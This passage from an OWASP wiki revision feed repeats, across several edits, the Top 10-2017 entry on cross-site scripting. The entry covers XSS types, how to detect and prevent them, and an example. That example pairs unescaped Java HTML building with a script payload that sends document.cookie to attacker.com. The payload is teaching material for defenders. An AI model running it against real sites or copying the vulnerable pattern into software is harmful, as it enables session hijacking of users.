&amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS) | XSS]]&amp;lt;/u&amp;gt; flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]]&amp;lt;/u&amp;gt; and (2) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]]&amp;lt;/u&amp;gt;, and each of these can occur on the a) &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server ]]&amp;lt;/u&amp;gt; or b) on the &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client]]&amp;lt;/u&amp;gt;. Detection of most &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]]&amp;lt;/u&amp;gt; flaws is fairly easy via testing or code analysis. &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]]&amp;lt;/u&amp;gt; is very difficult to identify.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;Consider the business value of the affected system and all the data it processes.&lt;br /&gt;
&lt;br /&gt;
Also consider the business impact of public exposure of the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
{{Top_10_2010:SummaryTableEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}&lt;br /&gt;
You are vulnerable to &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;. Ideally, you would avoid sending attacker-controllable data to &amp;lt;u&amp;gt;[[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]]&amp;lt;/u&amp;gt;, but escaping (and to a lesser extent) input validation can be used to make this safe.&lt;br /&gt;
&lt;br /&gt;
Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
Preventing XSS requires separation of untrusted data from active browser content.&lt;br /&gt;
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; vulnerabilities. The &amp;lt;u&amp;gt;[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt; has details on the required data escaping techniques.&lt;br /&gt;
# Applying context sensitive encoding when modifying the browser document on the client side acts against &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;.  Details specific to client-side input processing reside in &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;.&lt;br /&gt;
# Enabling a &amp;lt;u&amp;gt;[https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)]&amp;lt;/u&amp;gt; and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}&lt;br /&gt;
The application generating response in &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; uses untrusted data in the construction of the following HTML snippet without validation or escaping:&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&lt;br /&gt;
(String) page += &amp;quot;&amp;lt;input name='creditcard' type='TEXT'&amp;lt;br&amp;gt;value='&amp;quot; + &amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;request.getParameter(&amp;quot;CC&amp;quot;)&amp;lt;/span&amp;gt; + &amp;quot;'&amp;gt;&amp;quot;;&lt;br /&gt;
&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
The attacker manipulates the `CC' parameter to the following value &lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;#x27;&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;lt;br/&amp;gt;&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/cgi-bin/cookie.cgi?&amp;lt;br/&amp;gt;foo=&amp;amp;#x27;+document.cookie&amp;lt;/nowiki&amp;gt;&amp;amp;lt;/script&amp;amp;gt;&amp;amp;#x27;&lt;br /&gt;
&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
in the query string and sends the resulting link &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard?CC=...&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; with the malicious value to the victim.  Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link.  The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;amp;lt;input name='creditcard' type='TEXT'&amp;lt;br&amp;gt;value='&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;'&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;lt;br/&amp;gt;&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/cgi-bin/cookie.cgi?&amp;lt;/nowiki&amp;gt;&amp;lt;br/&amp;gt;foo=&amp;amp;#x27;+document.cookie&amp;amp;lt;/script&amp;gt;&amp;amp;#x27;&amp;lt;/span&amp;gt;&amp;amp;#x27;&amp;amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. &lt;br /&gt;
Note that attackers can also use XSS to defeat any  automated CSRF defense the application might employ. See &amp;lt;u&amp;gt;[[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]]&amp;lt;/u&amp;gt; for info on CSRF.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Types of Cross-Site Scripting]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]&amp;lt;/u&amp;gt;&amp;lt;!--- tab syntax for internal links including tabs: &amp;lt;link&amp;gt;#&amp;lt;tab-description&amp;gt; ---&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[AntiSamy | OWASP AntiSamy: Sanitization Library]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2013:BottomAdvancedTemplate&lt;br /&gt;
    |type={{Top_10_2010:StyleTemplate}}&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230159</id>
		<title>Top 10-2017 A7-Cross-Site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230159"/>
				<updated>2017-05-31T19:00:43Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: Correct the abuse scenario.  Change the style from prescriptive to descriptive to sustain the Burden of Proof.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2013:TopTemplate&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}&lt;br /&gt;
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
     &amp;lt;td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS) | XSS]]&amp;lt;/u&amp;gt; flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]]&amp;lt;/u&amp;gt; and (2) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]]&amp;lt;/u&amp;gt;, and each of these can occur on the a) &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server ]]&amp;lt;/u&amp;gt; or b) on the &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client]]&amp;lt;/u&amp;gt;. Detection of most &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]]&amp;lt;/u&amp;gt; flaws is fairly easy via testing or code analysis. &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]]&amp;lt;/u&amp;gt; is very difficult to identify.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;Consider the business value of the affected system and all the data it processes.&lt;br /&gt;
&lt;br /&gt;
Also consider the business impact of public exposure of the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
{{Top_10_2010:SummaryTableEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}&lt;br /&gt;
You are vulnerable to &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;. Ideally, you would avoid sending attacker-controllable data to &amp;lt;u&amp;gt;[[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]]&amp;lt;/u&amp;gt;, but escaping (and to a lesser extent) input validation can be used to make this safe.&lt;br /&gt;
&lt;br /&gt;
Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
Preventing XSS requires separation of untrusted data from active browser content.&lt;br /&gt;
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; vulnerabilities. The &amp;lt;u&amp;gt;[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt; has details on the required data escaping techniques.&lt;br /&gt;
# Applying context sensitive encoding when modifying the browser document on the client side acts against &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;.  &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt; has details specific to client-side input processing.&lt;br /&gt;
# Enabling a &amp;lt;u&amp;gt;[https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)]&amp;lt;/u&amp;gt; and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}&lt;br /&gt;
The application generating response in &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; uses untrusted data in the construction of the following HTML snippet without validation or escaping:&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&lt;br /&gt;
(String) page += &amp;quot;&amp;lt;input name='creditcard' type='TEXT'&amp;lt;br&amp;gt;value='&amp;quot; + &amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;request.getParameter(&amp;quot;CC&amp;quot;)&amp;lt;/span&amp;gt; + &amp;quot;'&amp;gt;&amp;quot;;&lt;br /&gt;
&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
The attacker manipulates the `CC' parameter to the following value &lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;#x27;&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;lt;br/&amp;gt;&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/cgi-bin/cookie.cgi?&amp;lt;br/&amp;gt;foo=&amp;amp;#x27;+document.cookie&amp;lt;/nowiki&amp;gt;&amp;amp;lt;/script&amp;amp;gt;&amp;amp;#x27;&lt;br /&gt;
&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
in the query string and sends the resulting link &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard?CC=...&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; with the malicious value to the victim.  Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link.  The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;amp;lt;input name='creditcard' type='TEXT'&amp;lt;br&amp;gt;value='&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;'&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;lt;br/&amp;gt;&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/cgi-bin/cookie.cgi?&amp;lt;/nowiki&amp;gt;&amp;lt;br/&amp;gt;foo=&amp;amp;#x27;+document.cookie&amp;amp;lt;/script&amp;gt;&amp;amp;#x27;&amp;lt;/span&amp;gt;&amp;amp;#x27;&amp;amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. &lt;br /&gt;
Note that attackers can also use XSS to defeat any  automated CSRF defense the application might employ. See &amp;lt;u&amp;gt;[[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]]&amp;lt;/u&amp;gt; for info on CSRF.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Types of Cross-Site Scripting]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]&amp;lt;/u&amp;gt;&amp;lt;!--- tab syntax for internal links including tabs: &amp;lt;link&amp;gt;#&amp;lt;tab-description&amp;gt; ---&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[AntiSamy | OWASP AntiSamy: Sanitization Library]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2013:BottomAdvancedTemplate&lt;br /&gt;
    |type={{Top_10_2010:StyleTemplate}}&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230158</id>
		<title>Top 10-2017 A7-Cross-Site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230158"/>
				<updated>2017-05-31T19:00:21Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: Correct the abuse scenario.  Change the style from prescriptive to descriptive to sustain the Burden of Proof.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2013:TopTemplate&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}&lt;br /&gt;
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
     &amp;lt;td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS) | XSS]]&amp;lt;/u&amp;gt; flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]]&amp;lt;/u&amp;gt; and (2) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]]&amp;lt;/u&amp;gt;, and each of these can occur on the a) &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server ]]&amp;lt;/u&amp;gt; or b) on the &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client]]&amp;lt;/u&amp;gt;. Detection of most &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]]&amp;lt;/u&amp;gt; flaws is fairly easy via testing or code analysis. &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]]&amp;lt;/u&amp;gt; is very difficult to identify.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;Consider the business value of the affected system and all the data it processes.&lt;br /&gt;
&lt;br /&gt;
Also consider the business impact of public exposure of the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
{{Top_10_2010:SummaryTableEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}&lt;br /&gt;
You are vulnerable to &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;. Ideally, you would avoid sending attacker-controllable data to &amp;lt;u&amp;gt;[[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]]&amp;lt;/u&amp;gt;, but escaping (and to a lesser extent) input validation can be used to make this safe.&lt;br /&gt;
&lt;br /&gt;
